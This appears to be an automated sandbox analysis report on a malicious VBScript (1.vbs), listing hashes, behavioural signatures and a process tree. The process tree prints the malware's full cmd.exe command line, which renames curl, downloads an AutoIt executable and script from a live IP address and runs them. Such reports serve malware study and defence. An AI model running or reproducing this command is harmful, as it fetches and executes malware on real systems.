f1ae3678094d1318cb052009429fb96caec758ce3238ea10decd5df8db84a8a1

Resubmissions

27/09/2023, 09:48

230927-lswrsaba78 8

27/09/2023, 09:46

230927-lr4e8sba76 10

Analysis

max time kernel
42s
max time network
18s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
27/09/2023, 09:46

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General

Target

1.vbs
Size

1KB
MD5

95f1a044adb17a561ca70b168ff37708
SHA1

7d43e2db9cb63b91468a442acd60ceda4045eb8b
SHA256

f1ae3678094d1318cb052009429fb96caec758ce3238ea10decd5df8db84a8a1
SHA512

3cb9df7b775e4aba2a5696e7b176efa64ea15d243bdea2dd8e3e8cf79ed5be14f5063da7e8d6861ddd72598b688dda3c0678e1bfa42a9d5ecd35233369181040

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	1708	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 2660	1708	WScript.exe	29
PID 1708 wrote to memory of 2660	1708	WScript.exe	29
PID 1708 wrote to memory of 2660	1708	WScript.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\fqrb & cd /d c:\fqrb & copy c:\windows\system32\curl.exe fqrb.exe & fqrb -H "User-Agent: curl" -o Autoit3.exe http://5.188.87.58:2351 & fqrb -o ifnwot.au3 http://5.188.87.58:2351/msifqrbjoet & Autoit3.exe ifnwot.au3
  2⤵
  PID:2660

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads